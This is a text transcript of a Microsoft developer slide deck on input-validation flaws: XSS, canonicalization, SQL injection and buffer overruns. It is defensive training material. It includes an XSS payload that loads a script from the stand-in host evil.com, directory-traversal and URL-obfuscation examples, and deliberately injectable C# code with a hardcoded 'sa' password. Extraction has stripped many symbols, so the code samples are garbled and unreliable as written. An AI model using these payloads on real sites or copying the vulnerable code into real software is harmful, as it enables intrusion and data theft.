Data Input Issues

1
Data Input Issues
Adam Gallant .Net Developer Specialist Microsoft
Canada, Co. adamga_at_microsoft.com http//blogs.msdn
.com/adamga
2
Agenda

• XSS Attack
• Canonical Representation
• SQL Injection Attack
• Buffer Overruns Attack

3
There are two types of security issues

• Input trust issues
• Everything else!

4
Input Trust Issues
All input is evil, until proven otherwise!

• Buffer Overruns
• SQL Injection
• Cross-Site Scripting
• Canonicalization Issues

5
Cross Site Scripting (XSS)

• Very common vulnerability
• A flaw in a Web server leads to compromised
  client
• The fault is simply echoing input to Web Page

6
Web application attacks
7
The Root Cause

• The client assumes the server will send it
  trusted code
• Server applications can be tricked into sending
  un-trusted code to the client

8
Attack Flow
Server
Un-Trusted Source
2) Client sends input to a server
2
1
3
Client
1) Malicious code is sent to the client
3) Server sends output to a client
4) Client executes the servers output
9
Delivery Vehicles

• How does malicious code get to the client to
  start the process?
• HTTP GET (in email or on a page)
• HTTP POST
• HTTP Headers
• Cookies

10
Hyperlink Delivery

• Find your favorite HTTP GEThttp//www.foo.com/col
  lect.bin?datavalue
• Replace datavalue with dataltscript SRC
  http//www.evil.com/evilscript.jsgtlt/scriptgt
• Email encoded URL ? HTTP//www.foo.com/Collect.bin
  ?dataltscript SRC http//www.evil.com/evilscr
  ipt.jsgtlt/scriptgt

11
Web Form Delivery

• Find Web Site that contains Form Fields
• Check if value is echo backed to client
  (unfiltered)
• Pass script into Form Field
• Example, Form Field passes value to Database and
  value from Database is echoed on to Web Page
• Value from Form Field is posted to span or div on
  page for confirmation

12
Consequences

• An attacker can run a script in the wrong
  security context
• Cookies can be read/written
• Plug-ins and native code can be launched or
  scripted with untrusted data
• User input can be intercepted
• Spoofing
• Complete credential exposure depending upon
  Authentication
• Only one vulnerable page on one Web server in a
  domain is required to compromise the entire
  domain.

13
Is the solution difficult?

• In the common case the solution is extremely
  simple. Just filter your data!!!
• It is a much more difficult problem for sites
  that require some input data to contain HTML that
  must be presented to the user.

14
Steps to Protect a Web Site

• Define a Character set
• UTF-7 based attacks are known to be blocked in
  the ISO8859-1 character set
• Filter input (server side)
• Search for invalid characters and remove them
  from the stream
• Dont even think of relying on client-side
  filtering!
• Encode the output
• URLEncode or HTMLEncode output strings which
  havent been validated

15
Server I/O Filtering

• The server can search for inappropriate
  characters in the input or output stream and
  disallow them
• Deny all unless explicitly permitted
• Examples of special characters to watch for
  includelt gt ( )

16
Why these characters?

• lt gt Blocks HTML tags
• Blocks quotes from being closed off
• Make sure you dont decode HTML or HTTP
  encoding on the server
• ( ) Blocks script from working if replay is
  already in the middle of a script block
• Blocks UTF-7 and UTF-8 encoding

17
Server I/O Filtering Code

• lt
• Name
• Server.URLEncode(Request.Form(f2"))
• Address
• Server.HTMLEncode(Request.Form(f1"))
• gt
• Hello,
• lta href"ltNamegt"gt
• ltAddressgtlt/agt.

18
Remedies Summary XSS

• Validate all input
• Never directly echo Web-based user input
• At the very least, HTML or URL encode the output
• ASP.NET 1.1. adds the ValidateRequest option
• Use HttpOnly cookie option
• Prevents access to client-side script
• Use ltframegt security attribute
• Supports Internet Explorer security zone settings

19
Additional Design Considerations

• Use server-side input validation.
• Partition your Web site.
• Consider the identity that is used for resource
  access.
• Protect credentials and authentication tickets.
• Fail securely.
• Consider authorization granularity.
• Place resource access code in a separate
  assembly.

20
Additional Information

• It is possible to persist an attack in a cookie!
• HTTPS is not immune
• Firewalls cant stop the problem
• All web browsers and all web servers are
  potentially affected

21
Canonical Representation Issues

• Have various equivalent forms of a name
• Need to resolve to a single standard name
• Security Bugs
• Canonicalization occur when an application makes
  a wrong decision based on a noncaonical
  representation of a name

22
Windows Canonical Filename

• Long Filename support
• Short Filename
• Auto Generated 8.3 filename
• Device Names
• C\mydir\com1
• same as
• http//www.mywebservice.com/com1

23
Windows Filename Format

• MAX_PATH (260) ANSI Characters
• Unicode characters
• \\?\

\\?\c\temp\myfile.txt Same as
c\temp\myfile.txt
24
Directory Traversal

• c\mydata\files\secret\myfile.txt
• Same as
• c\mydata\files\..\myfile.txt
• As is
• c\mydata\..\mydata\files\..\myfile.txt
• same as
• c\mydata \..c0af..\mydata\files\myfile.txt.
• Same as
• c\mydata\files\secret\myfile.txtData

25
Dotless IP

• http//192.168.197.100
• same as
• http//3232286052

Dotless IP(a 16777216)(b65536)(c256) d
26
Web-Based Canonicalization

• 7-bit or 8-bit character representation (ASCII)
• Hexadecimal escape codes
• UTF-8 variable width encoding
• UCS-2 Unicode encoding
• Double Encoding
• HTML Escape codes (Web pages, not URL)

27
Why these CharactersExample

• There are many ways to represent characters on
  the Internet

http//www.microsoft.com/technet/security
Is the same as -
http//www2emicrosoft2ecom2ftechnet2fsecurity
http//www.microsoft.comc0aftechnetc0afsecurit
y http//www253265microsoft.com/technet/securit
y http//172.43.122.12 http//2888530444
28
Steps to Protect against Canonicalization bugs

• Avoid accepting file input or path input for
  users
• Try to use fix file names or locations
• Use System.IO.Path.GetFullPath
• Canonicalize the file name
• User FileIOPermission as well as MapPath
• This will restrict directories and prevent
  transversal attacks
• Place code for Resource access in separate
  assembly
• Create chokepoint before FileIOAccess

29
SQL Injection

• Exploits applications that use external input in
  database commands
• Input from ltformgt fields
• Input from query strings
• The technique
• Find a ltformgt field or query string parameter
  used to generate SQL commands
• Submit input that modifies the commands
• Compromise, corrupt, and destroy data

30
SQL Injection Threats
31
SQL Injection C
string Status "No" string sqlstring "" try
SqlConnection sql new SqlConnection(
_at_"data sourcelocalhost" "user
idsapasswordpassword") sql.Open()
sqlstring"SELECT HasShipped" " FROM
detail WHERE ID'" Id "'" SqlCommand cmd
new SqlCommand(sqlstring,sql) if
((int)cmd.ExecuteScalar() ! 0) Status
"Yes" catch (SqlException se) Status
sqlstring " failed\n\r" foreach (SqlError
e in se.Errors) Status e.Message
"\n\r" catch (Exception e) Status
e.ToString()
32
Why Its Wrong(1 of 2)
33
Why Its Wrong(2 of 2)
34
Remedy Do Not Trust User Input

• Validate all input
• All input is harmful until proven otherwise
• Look for valid data and reject everything else
• Constrain, Reject and Sanitize
• Type Checks
• Length Checks
• Range Checks
• Format Checks

Validator.ValidationExpression
"\w(-.\w)_at_\w(-.\w)\.\w(-.\w)"
35
Remedies SQL Injection

• Validate all input
• Use a parameterized query
• Encrypt or Hash sensitive information
• Place Data Access Code into separate assemblies
• Create chokepoint before Data Access
• Use least privilege accounts

36
Code Access Security in ASP.Net

• Place Resource Access Code in Assemblies
• Not in Code Behind Page
• This will facilitate sandboxing

37
Resource Access
SQL Server
OLE DB
Unmanaged Code
SqlClientPermission
SecurityPermission.- UnmanagedCode
Registry
OleDbClientPermission
File System
RegistryPermission
Application
FileIOPermission
DNS
DnsPermission
EventLogPermission
EnvironmentPermission
Environment Variables
SocketsPermission
Windows Event Log
WebPermission
Web Services
Remote Servers
38
Running with Partial Trust

• Partial trust Fewer CAS permissions
• Limit resources application can access
• Limit operations application can perform
• ASP.NET 1.1 only
• Choose from five predefined trust levels, or
  define trust levels of your own

i
http//msdn.microsoft.com/library/en-us/dnnetsec/h
tml/THCMCh09.asp
39
ASP.NET Trust Levels
40
What are BOs?

• External data is larger than the destination
• Overflowing the destination tramples some
  sensitive in-memory construct that determines
  execution flow
• Causing the application to change execution flow
• To the attackers code included in the data
• Cause trusting input
• C/C code the most common victim
• Direct access to memory

41
Beware of the Giblets

• Everyone focuses on securing the core
• But attackers attack EVERYTHING
• Core Apache is rarely hit, Linux kernel rarely
  hit
• Core IIS is rarely hit, Windows kernel rarely hit
• You are only as secure as your weakest link
• Be wary of offloaded functionality
• Think MIME handlers
• MS02-066 BO in PNG Handler via IE
• MS02-072 BO in MP3/WMA Handler via Shell
• These features are all enabled by default
• Which means you get attacked by default
• If you consume giblets make the team that built
  the giblets do as much security work as you!

42
Why are they prevalent?

• Lots of C/C code out there
• Lots of legacy C/C code thats now hooked to
  the net
• Many data structures jump to code
• Stack addresses, function pointers, exception
  handlers, C class v-tables etc.
• Constantly evolving threats
• First there were stack overruns
• Then heap overruns
• Then format string overruns
• Then one-byte overruns
• Now, integer overflows
• Whats next?

43
A Server Worm Recipe

• CodeRed
• Index Server ISAPI
• BO in unicode vs byte count
• On by default
• Port 80
• No auth
• Slapper
• OpenSSL
• BO in SSL2 handshake
• Commonly used by Apache/mod_ssl
• Port 80/443
• No auth
• Slammer
• SQL Server resolution
• BO in instance version resolution
• On by default
• Port 1434
• No auth
• Blaster

• Take a small quantity of vulnerable code
• Often, one or two lines of C/C should suffice
• Slowly bring the code to full heat by running the
  code by default
• Add a splash of port
• Two port flavors available TCP and UDP, use
  either
• People devouring code should be unauthenticated
• Provide updates to recipe but dont expect
  anyone to change any ingredients!
• For extra zest, run code as admin or SYSTEM

44
(No Transcript)